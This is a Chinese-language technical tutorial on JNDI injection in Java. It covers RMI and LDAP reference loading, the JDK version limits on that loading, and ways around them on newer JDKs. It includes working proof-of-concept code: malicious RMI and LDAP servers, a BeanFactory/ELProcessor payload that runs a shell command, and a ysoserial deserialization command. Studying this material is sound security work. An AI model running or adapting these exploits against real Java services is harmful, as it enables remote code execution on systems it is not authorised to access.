JNDI注入

JNDI 注入

0x01 什么是 JNDI

RMI && LDAP

目录是一种分布式数据库，目录服务是由目录数据库和一套访问协议组成的系统。LDAP 全称是轻量级目录访问协议，它提供了一种查询、浏览、搜索和修改互联网目录数据的机制，运行在 TCP/IP 协议栈之上，基于 C/S 架构。除了 RMI 服务之外，JNDI 也可以与 LDAP 目录服务进行交互，Java 对象在 LDAP 目录中也有多种存储形式：

Java 序列化

JNDI Reference

Marshalled 对象

Remote Location (已弃用)

LDAP 可以为存储的 Java 对象指定多种属性：

javaCodeBase

objectClass

javaFactory

javaSerializedData

JNDI 原理

JNDI - Java 命名和目录接口，JNDI 提供统一的客户端 API，通过不同的服务供应接口 (SPI) 的实现，由管理者将 JNDI API 映射为特定的命名服务和目录系统，使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互、如图：

命名服务 (Naming Service)

命名服务是一种简单的键值对绑定，可以通过键名检索值，RMI 就是典型的命名服务

命名服务是将名称与值相关联的实体，也称为 "绑定 (binding)"。

它提供了一种基于名称查找对象的工具，该名称称为 "查找 (lookup)" 或 "search" 操作。

目录服务 (Directory Service)

LDAP 是典型的目录服务

允许存储和查找 "目录对象" 的特殊类型的命名服务。

目录对象不同于一般对象，因为它可以将属性与对象相关联。

因此，目录服务提供了对对象属性进行操作的扩展功能。

命名服务与目录服务的本质是一样的，都是通过键来查找对象，只不过目录服务的键要灵活且复杂一点。

简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务，例如 LDAP、RMI、CORBA 等。如下图：

在 Java 中为了能够更方便的管理、访问和调用远程的资源对象，常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端，供应用程序来进行访问和调用。

一个简单的 JNDI 例子：

Copy
package jndi_test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}

Copy
package jndi_test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}

public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^";
}
}

Copy
package jndi_test;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception {
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

// 本地开启 1099 端口作为 RMI 服务，并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);

// JNDI 获取 RMI 上的方法对象并进行调用
IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
System.out.println(rHello.sayHello("RickGray"));
}
}

JNDI 获取并调用了远程方法 say.Hello

这里对 JNDI 服务进行了初始化，在初始化配置 JNDI 设置时可以预先指定其上下文环境（RMI、LDAP 或者 CORBA 等)。这里的例子是指定了上下文环境为 RMI。

流程：

这里使用 JNDI 获取远程 sayHello () 函数并传入 "RickGray" 参数进行调用时，真正执行该函数是在远程服务端，执行完成后会将结果序列化返回给应用端。

RMI 中动态加载字节码

如果远程获取 RMI 服务上的对象为 Reference 类（引用对象类型的抽象基类）或者其子类，则在客户端获取到远程对象存根实例时，可以从其他服务器上加载 class 文件来进行实例化。

Reference 中几个比较关键的属性：

className - 远程加载时所使用的类名

classFactory - 加载的 class 中需要实例化类的名称

classFactoryLocation - 提供 classes 数据的地址，可以是 file/ftp/http 等协议

例如这里定义一个 Reference 实例，并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象，使其能够通过 RMI 进行远程访问：

Copy
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup ("refObj") 获取远程对象时，获得到一个 Reference 类的存根，由于获取的是一个 Reference 实例，客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类，如果本地未找到，则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。

这里说明了在获取 RMI 远程对象时，可以动态地加载外部代码进行对象类型实例化，而 JNDI 同样具有访问 RMI 远程对象的能力，只要其查找参数即 lookup () 函数的参数值可控，那么就有可能促使程序去加载和执行部署在攻击者服务器上的恶意代码。

JNDI 协议动态转换

上文说到在初始化配置 JNDI 设置时可以预先指定其上下文环境（RMI、LDAP 或者 CORBA 等)。

Copy
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup () 或者 search () 时，可以使用带 URI 动态的转换上下文环境，

例如上面已经通过 Context.PROVIDER_URL 属性设置了当前上下文会访问 RMI 服务，但是还是可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象：

Copy
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

为什么可以使用绝对路径 URI 去动态地转换上下文环境呢？

InitialContext#lookup：

Copy
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx () 函数的具体代码实现为：

Copy
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

首先判断是否设置了 FactoryBuilder, 但其实这个跟我们设置的 INITIAL_CONTEXT_FACTORY​ 无关，最终还是返回 null

然后进入到 getURLScheme

截取 ://​ 之前的内容作为协议名，传入 NamingManager.getURLContext ()

可以看到，如果获取不到 scheme 的话，就会使用原来 env 中指定的 INITIAL_CONTEXT_FACTORY​, 否则就会进行动态转换，得到当前协议对应的 context factory

跟进 getURLObject

ResourceManager.getFactory()​会通过 context classloader​加载对应工厂类

然后调用工厂类的 getObjectInstance 方法来得到对应协议的 context

总的来说最终返回的 context 类型还是取决于 lookup 传入的 uri, 只有当 uri 被省略的时候才会使用 env 中指定的 INITIAL_CONTEXT_FACTORY​

即当第一次调用 lookup () 函数的时候，会对上下文环境进行一个初始化，这时候代码会对 paramName 参数值进行一个 URL 解析，如果 paramName 包含一个特定的 Schema 协议，代码则会使用相应的工厂去初始化上下文环境，这时候不管之前配置的工厂环境是什么，这里都会被动态地对其进行替换。

JNDI 默认支持动态转换的协议如下

协议名称 | 协议 URL | Context 类
DNS 协议 | dns:// | com.sun.jndi.url.dns.dnsURLContext
RMI 协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext
LDAP 协议 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext
LDAP 协议 | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP 对象请求代理协议 | iiop:// | com.sun.jndi.url.iiop.iiopURLContext
IIOP 对象请求代理协议 | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP 对象请求代理协议 | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory

0x02 JNDI 注入

造成 JNDI 注入的核心有两点

动态协议转换

Reference 类

版本限制

JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly​ 默认配置为 true, 禁止利用 RMI ClassLoader 加载远程类 (但是 Reference 加载远程类本质上利用的是 URLClassLoader, 所以该参数对于 JNDI 注入无任何影响)

JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase​ 和 com.sun.jndi.rmi.object.trustURLCodebase​ 默认值为 false, 禁止 RMI 和 CORBA 协议使用远程 codebase 来进行 JNDI 注入

JDK 11.0.1、8u191、7u201、6u211 开始 com.sun.jndi.ldap.object.trustURLCodebase​ 默认为 false, 禁止 LDAP 协议使用远程 codebase 来进行 JNDI 注入

通过 RMI 与 LDAP 进行 JNDI 注入 (jdk<8u191)

通过 RMI 和 LDAP 所进行的 JNDI 注入都是基于 Reference 类的特殊处理。

利用条件

客户端的 lookup () 方法的参数可控

服务端在使用 Reference 时，classFactoryLocation 参数可控～

注入流程

注入流程：

攻击者需要构造一个恶意对象，在其构造方法处加入恶意代码。将其上传到服务器中等待远程加载

构造一个恶意 RMI 服务器， bind 一个 ReferenceWrapper 对象， ReferenceWrapper 对象是 Reference 对象的封装

攻击者通过可控的 URI 参数触发动态环境转换，例如这里 URI 为 rmi://evil.com:1099/refObj ；

原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/ ；

应用去 rmi://evil.com:1099 请求绑定对象 refObj ，攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象（ Reference ("EvilObject", "EvilObject", "http://evil-cb.com/") ）；

Reference 对象中包含了一个远程地址，远程地址中可以加载恶意对象 class

JNDI 在 lookup 过程中会解析 Reference 对象并远程加载恶意对象触发漏洞

为什么在 RMI 的攻击方法里面没有提到远程加载 Reference 对象这个方法呢，其实就是因为这里的客户端发生了变化，之前是客户端通过 RMI 远程调用服务端的方法，这里是 JNDI 去调用，这也导致了 lookup 方法发生了变化，这才有了 JNDI 协议动态转换，触发动态环境转换。

0x03 RMI

例子：

Server

Copy
package Inject;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);

String factoryUrl = "http://127.0.0.1:8080/";
Reference reference = new Reference("evilObject","evilObject", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("w0s1np", wrapper);

System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

Copy
package Inject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

当客户端调用 InitialContext ().lookup () 方法时，会从 http://127.0.0.1:8080/evilObject.class 处获取 class 并触发构造方法中的恶意代码。

Copy
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}

将 evilObject.java 放在另一个目录下（为防止漏洞复现过程中应用端实例化 EvilObject 对象时从 CLASSPATH 当前路径找到编译好的字节代码，而不去远端进行下载的情况发生）

低版本 jdk 分析

jdk8u_202、65、20 混合调试的，和 rmi 反序列化中一样，使用低版本 jdk 有些调试进不去

分析 lookup 后的流程

首先获取到 RegistryContext@763 对象，里面也包含了存根对象和 rmi 服务地址、端口信息，然后进去 RegistryContext@763 对象的 lookup 方法:

然后调用 RegistryImpl_Stub@764 对象的 lookup, 这部分跟 RMI 协议中 Stub 与 Skeleton 的通信流程相同

即 registry#lookup​ 获取远程恶意 server 绑定的 Remote 类

然后调用 RegistryContext#decodeObject​ 方法，调用该 Remote 类 的 getObjectInstance 实例化该类

判断 var1 是否属于 RemoteReference 或其子类的实例对象，然后调用 NamingManager.getObjectInstance()​

先通过getObjectFactoryFromReference​得到 factory 实例，然后调用它的getObjectInstance​方法

跟进 getObjectFactoryFromReference,

首先调用 helper.loadClass()​, 方法内部会从上下文中得到 AppClassLoader, 然后尝试从本地加载 factory 类

失败的话就会获取 codebase (也就是 factoryLocation), 再传入 helper 中使用 URLClassLoader 尝试加载

远程加载，FactoryURLClassLoader​是URLClassLoader​的子类

上面Class.forName​第二个参数是true​, 这里加载的时候就能触发static​区域的代码

得到 class 之后，

这里会触发自构方法​的代码（这里会转化成ObjectFactory​类，想不报错，恶意可以继承这个接口）

返回后还会调用getObjectInstance()​次方法

小结

下面这 3 个代码块都能执行我们的恶意代码

static 区域

自构方法

getObjectInstance()

高版本 jdk 分析

先找一下限制是在加在什么地方的

RegistryContext#decodeObject​在NamingManager.getObjectInstance​之前对Reference​对象进行了判断，var8.getFactoryClassLocation()​就是我们设置的远程地址codebase​, trustURLCodebase​默认是false​

这里意思就是默认不让我们设置远程地址​了，从而防御我们远程加载恶意类

本地 Factory 类

既然禁止通过 codebase 远程加载，那就去加载一个能够利用的本地 factory 然后执行 java 代码

但是这种利用方式受限于目标机器本地 classpath 中是否存在对应的 factory

危险函数肯定还是上面小结部分的三处: static​、自构方法​、getObjectInstance()​, 但其实static​和自构方法​不太可能存在利用的地方，所以还是主要去找getObjectInstance()​, 而getObjectInstance()​是ObjectFactory​接口的方法，所以我们去找ObjectFactory的继承类​就行。

这种方式自然也依赖于其他组件依赖，网上最多的就是org.apache.naming.factory.BeanFactory​ 和 javax.el.ELProcessor​

BeanFactory 来自 tomcat 的依赖包，所以适用范围相对来说会广一些

ELProcessor 则是 java 自带的表达式解析引擎

添加下面tomcat​依赖

Copy
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>

Copy
package rmi_bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class RMIServer {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

InitialContext ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);

// 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("w0s1np", referenceWrapper);
}
}

正向分析

首先还是到NamingManager#getObjectInstance​

进入BeanFactory#getObjectInstance​,

getObjectInstance 会判断当前的 ref 对象是否是 ResourceRef 的实例，而 ResourceRef 为 Reference 的子类

所以这也就说明了为什么我们需要构造一个 ResourceRef 来加载 factory class, 而不是平时经常用到的 Reference

之后获取 classname, 即 javax.el.ELProcessor​ , 并调用 tcl 加载 class

“forceString”​可以给属性强制指定一个setter​方法，这里我们将属性”x” 的 setter 方法设置为 ELProcessor.eval()​ 方法。

首先从 ref 中获取到forceString​属性，然后以,​为分割为多对 method, 然后通过=​分割每对值，前面的为最后放入map的key​, 后面为要获取的method名字​, 然后从beanclass​获取这个方法（注意这里只会获取 String 为参数的方法，我们看到paramTypes​是不可控的）, 然后 put 到forced​这个 Hashmap 中

然后到下面这个 while 中，这里会获取到Type​, 当不为 if 中的值时，会从前面设置的forced​中通过这个Type名字​获取对应的method​, 这里即 x ​, 然后通过反射调用这个方法，参数为 x 对应的 value, 所以前后两个值 (x) 要一样

bean 对象就是 beanClass 实例化，然后在 invoke 执行成功javax.el.ELProcessor#eval​

利用小结

BeanFactory#getObjectInstance​利用条件

JDK 或者常用库的类

有 public 修饰的无参构造方法 // 显而易见，直接通过 newInstance () 获得对象的

public 修饰的只有一个 String.class 类型参数的方法，且该方法可以造成漏洞 // 只能调用 String 方法

上面就利用的 el 表达式

逆向挖掘分析

ReferenceRef 的定位

从RegistryContext#decodeObject​ 限制逻辑中可以看到，java.naming.Reference​ 用不了，因为getFactoryClassLocation​过不了。

Copy
var8 = (Reference)var3;

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");

Copy
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

那么，还有哪些类满足

继承 Reference

getFactoryClassLocation 可以为 null

尝试找继承 Reference 的子类

ReferenceWrapper 的定位

ResourceRef 定位到了，但是不能直接 bind, 因为 java.rmi.registry.Registry 只能 bind Remote 类

Copy
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;

在 JNDI-RMI 低版本注入中，可以有下面两种方式进行 bind :

Copy
#1. 直接绑定存在恶意代码块的类实例
registry.bind("Exploit", (Remote) new Exploit());

#2. reference
Reference reference = new Reference("Exploit",
"Exploit",
"http://localhost:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);

但是ReferenceWrapper(ResourceRef)​可以吗？

Copy
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}

ResourceRef 继承 Reference, 可以

BeanFactory 的定位

还是要回到NamingManager#getObjectInstance​

Copy
ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);

查看ResourceRef​构造函数

Copy
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)

所以只需要继承ObjectFactory​, 并且getObjectInstance​存在危险函数

后面上面已经分析过了，BeanFactory 原本的作用是通过反射调用某个 BeanClass 的 setter 来赋值

但是我们能通过 forceString 参数将 setter 强制指定为 ELProcessor 中的 eval, 这样 beanClass.getMethod()​ 就变成了获取 eval 的 Method 对象

其利用条件为

需要有无参构造函数 (因为Object bean = beanClass.getConstructor().newInstance();​)

可以调用符合条件的方法，要求方法的参数为 1 个，类型为 String (可以根据 Reference 的属性查找 setter 方法的别名​)

还可以调用 set* 方法，要求方法的参数为 1 个，类型为 String

以上方法都要求 public

Copy
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();

// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();

// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}

// 5. 解析所有属性，并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}

反序列化

利用 register 返回恶意序列化数据反序列化执行 gadget

lookup​中client​会和register​进行数据传输且存在反序列化​

Copy
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"

然后运行 client 代码即可，所以只要发现new InitialContext().lookup​参数可控，并且服务端存在 gadget, 都可以打反序列化

一直步进 lookup, 可以到RegistryImpl_Stub#lookup​方法

这里会向register​传序列化数据做准备，然后跟进这个invoke​, 然后进入StreamRemoteCall#executeCall​

executeCall()​, 这里this.getInputStream();​会接收register​传回的序列化数据（这里我们构造恶意序列化数据即可利用）, 然后下方进行反序列化。

0x04 LDAP

在jdk8u191​之前都能用 ldap 加载远程恶意类

ldap服务端​需要以下依赖

Copy
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>

poc:

Copy
package LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";

public static void main (String[] args) {

String url = "http://127.0.0.1:4444/#evilObject";
int port = 1389;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

Copy
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}

Copy
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}

低版本 jdk 分析

jdk8u65

首先根据协议不同，获取到不同的上下文，进入NamingManager#getURLContext​

进入ResourceManager#getFactory​

classSuffix​这个值是根据协议名字​拼接的，然后去实例化​这个类，后面会return factory;​

然后会到ldapURLContextFactory.getObjectInstance​，返回一个ldap的上下文(ldapURLContext)​

然后后续this.getRootURLContext​这里调用的是ldapURLContext.getRootURLContext​, var3​是LdapCtx​, 也就导致后面和 rmi 的走向不一样了

c_lookup

一直步进 lookup,

LdapCtx#doSearchOnce​会向ldap发送请求​获取值。

然后服务端会把这个值传给client端​

然后从返回的值获取attributes​属性，

我们是设置了javaClassName​的，所以进入Obj#decodeObject​

进入最后的 else:

Copy
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

会进入decodeReference(var0, var2);​

这里会根据输入 url 获取到对应的对象名，然后包装为Reference​, 然后返回到LdapCtx#c_lookup​

进入getObjectInstance()​, 其后续逻辑和rmi​是一样的

通过实例化 evilObject 来 rce

小结

经过上面的分析，我们知道 ldap 和 rmi 在调用远程恶意类上的过程是有区别的

ldap 调用栈

Copy
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)

rmi 调用栈

Copy
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)

var8.getFactoryClassLocation()​的检测是在rmi​的decodeObject​中，而ldap协议​是调用的其他lookup​并不会调用decodeObject​来实现远程加载，两者协议调用机制是不一样的​

所以在8u113~8u190​这段com.sun.jndi.rmi.object.trustURLCodebase​ 默认值为false​, ldap不受影响​依然可以调用远程恶意类​

高版本 jdk 分析

8u191 以后，在远程加载类时加入了trustURLCodebase​的判断，彻底杜绝了远程加载恶意类了。

反序列化

在Obj#decodeObject​中，存在一个 if 分支存在deserializeObject()​, 会把ldap服务端​返回的数据进行反序列化​, 如果有能利用的依赖就能打 gadget

所以需要给JAVA_ATTRIBUTES[1]​, 即javaSerializedData​设置值

poc

Copy
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";

public static void main (String[] args) {

String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化 Gadget
try {
e.addAttribute("javaSerializedData", CC5.getpayload());
} catch (Exception exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

Copy
package LDAP;

